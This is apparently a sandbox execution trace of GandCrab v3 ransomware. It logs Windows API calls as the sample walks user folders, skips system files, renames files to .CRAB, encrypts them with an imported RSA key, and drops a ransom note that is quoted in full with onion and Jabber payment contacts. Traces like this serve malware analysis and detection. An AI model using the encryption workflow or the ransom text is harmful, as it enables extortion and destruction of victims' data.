	[0109.946] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314882c | out: phKey=0x314882c*=0xd809a0) returned 1
	[0109.946] CryptGetKeyParam (in: hKey=0xd809a0, dwParam=0x8, pbData=0x314881c, pdwDataLen=0x3148824, dwFlags=0x0 | out: pbData=0x314881c*=0x800, pdwDataLen=0x3148824*=0x4) returned 1
	[0109.946] CryptEncrypt (in: hKey=0xd809a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3148990*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3148990*=0x100) returned 1
	[0109.946] GetLastError () returned 0x0
	[0109.946] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0109.946] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3dc
	[0109.947] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0109.948] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0109.948] ReadFile (in: hFile=0x3dc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x31489d4, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x31489d4*=0x1fa, lpOverlapped=0x0) returned 1
	[0109.961] VirtualAlloc (lpAddress=0x0, dwSize=0x200, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0109.961] VirtualAlloc (lpAddress=0x0, dwSize=0x200, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0109.962] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.962] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffe06, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.962] WriteFile (in: hFile=0x3dc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x31489c4, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x31489c4*=0x200, lpOverlapped=0x0) returned 1
	[0109.962] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.963] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.967] WriteFile (in: hFile=0x3dc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x31489c4, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x31489c4*=0x100, lpOverlapped=0x0) returned 1
	[0109.981] WriteFile (in: hFile=0x3dc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x31489c4, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x31489c4*=0x100, lpOverlapped=0x0) returned 1
	[0109.981] WriteFile (in: hFile=0x3dc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x31489c4, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x31489c4*=0x8, lpOverlapped=0x0) returned 1
	[0109.981] CloseHandle (hObject=0x3dc) returned 1
	[0109.982] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.983] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.983] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.983] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.984] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.984] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.984] FindNextFileW (in: hFindFile=0xd80920, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 0
	[0109.984] FindClose (in: hFindFile=0xd80920 | out: hFindFile=0xd80920) returned 1
	[0109.984] FindNextFileW (in: hFindFile=0xd808e0, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 0
	[0109.984] FindClose (in: hFindFile=0xd808e0 | out: hFindFile=0xd808e0) returned 1
	[0109.985] FindNextFileW (in: hFindFile=0xd80c20, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0
	[0109.985] FindClose (in: hFindFile=0xd80c20 | out: hFindFile=0xd80c20) returned 1
	[0109.985] FindNextFileW (in: hFindFile=0xd80820, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0109.985] FindClose (in: hFindFile=0xd80820 | out: hFindFile=0xd80820) returned 1
	[0109.985] FindNextFileW (in: hFindFile=0xd80b60, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0109.985] FindClose (in: hFindFile=0xd80b60 | out: hFindFile=0xd80b60) returned 1
	[0109.985] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0
	[0109.985] FindClose (in: hFindFile=0xd80760 | out: hFindFile=0xd80760) returned 1
	[0109.985] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0109.985] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1
	[0109.985] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1
	[0109.985] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft"
	[0109.985] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\"
	[0109.985] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.986] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0109.986] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0109.986] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0109.986] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0109.986] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.987] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314bf68, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0109.987] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0109.987] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0109.987] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b750, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0109.987] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0109.987] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0109.987] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.987] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\\\CRAB-DECRYPT.txt") returned 65
	[0109.987] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0109.990] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0109.990] WriteFile (in: hFile=0x3ec, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314bf4c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314bf4c*=0xcce, lpOverlapped=0x0) returned 1
	[0109.991] CloseHandle (hObject=0x3ec) returned 1
	[0109.991] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.991] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned 48
	[0109.991] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\*"
	[0109.992] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0xd80760
	[0109.992] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0109.992] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0109.992] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0109.992] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0109.992] FindNextFileW (in: hFindFile=0xd80760, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0109.992] lstrcmpW (lpString1="Access", lpString2=".") returned 1
	[0109.992] lstrcmpW (lpString1="Access", lpString2="..") returned 1
	[0109.992] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Access" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access"
	[0109.992] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\"
	[0109.992] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.993] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0109.993] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0109.993] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0109.993] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0109.993] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.993] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0109.993] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0109.993] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0109.993] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0109.993] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0109.993] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0109.993] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.994] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\\\CRAB-DECRYPT.txt") returned 72
	[0109.994] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\access\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0109.995] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0109.995] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0109.996] CloseHandle (hObject=0x3f0) returned 1
	[0109.996] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.997] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\") returned 55
	[0109.997] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\*"
	[0109.997] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xd808e0
	[0109.997] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0109.997] FindNextFileW (in: hFindFile=0xd808e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0109.997] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0109.997] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0109.997] FindNextFileW (in: hFindFile=0xd808e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0109.997] lstrcmpW (lpString1="AccessCache.accdb", lpString2=".") returned 1
	[0109.997] lstrcmpW (lpString1="AccessCache.accdb", lpString2="..") returned 1
	[0109.997] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\", lpString2="AccessCache.accdb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb"
	[0109.997] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.998] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb") returned 72
	[0109.998] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb") returned 72
	[0109.998] lstrlenW (lpString=".accdb") returned 6
	[0109.998] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.998] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".accdb ") returned 7
	[0109.998] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.998] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb") returned 72
	[0109.998] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb") returned 72
	[0109.999] lstrcmpiW (lpString1="AccessCache.accdb", lpString2="desktop.ini") returned -1
	[0109.999] lstrcmpiW (lpString1="AccessCache.accdb", lpString2="autorun.inf") returned -1
	[0109.999] lstrcmpiW (lpString1="AccessCache.accdb", lpString2="ntuser.dat") returned -1
	[0109.999] lstrcmpiW (lpString1="AccessCache.accdb", lpString2="iconcache.db") returned -1
	[0109.999] lstrcmpiW (lpString1="AccessCache.accdb", lpString2="bootsect.bak") returned -1
	[0109.999] lstrcmpiW (lpString1="AccessCache.accdb", lpString2="boot.ini") returned -1
	[0109.999] lstrcmpiW (lpString1="AccessCache.accdb", lpString2="ntuser.dat.log") returned -1
	[0109.999] lstrcmpiW (lpString1="AccessCache.accdb", lpString2="thumbs.db") returned -1
	[0109.999] lstrcmpiW (lpString1="AccessCache.accdb", lpString2="CRAB-DECRYPT.txt") returned -1
	[0109.999] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.999] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb.CRAB") returned 77
	[0109.999] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\access\\accesscache.accdb")) returned 0x20
	[0110.000] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb", dwFileAttributes=0x20) returned 1
	[0110.000] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\access\\accesscache.accdb"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\access\\accesscache.accdb.crab")) returned 1
	[0110.002] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0110.003] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb.CRAB"
	[0110.003] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb.CRAB.CRAB"
	[0110.003] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e7c0) returned 1
	[0110.003] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0110.004] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0110.004] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0110.004] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0110.004] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0110.004] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.005] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6eb78) returned 1
	[0110.005] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0110.006] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0110.006] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0110.006] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0110.006] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0110.006] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0110.006] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0110.007] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0110.007] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6ed98) returned 1
	[0110.007] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xd80820) returned 1
	[0110.008] CryptGetKeyParam (in: hKey=0xd80820, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0110.008] CryptEncrypt (in: hKey=0xd80820, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0110.008] GetLastError () returned 0x0
	[0110.008] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0110.008] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e6b0) returned 1
	[0110.008] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xd80920) returned 1
	[0110.008] CryptGetKeyParam (in: hKey=0xd80920, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0110.008] CryptEncrypt (in: hKey=0xd80920, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0110.009] GetLastError () returned 0x0
	[0110.009] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0110.009] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\access\\accesscache.accdb.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0110.009] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0110.010] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
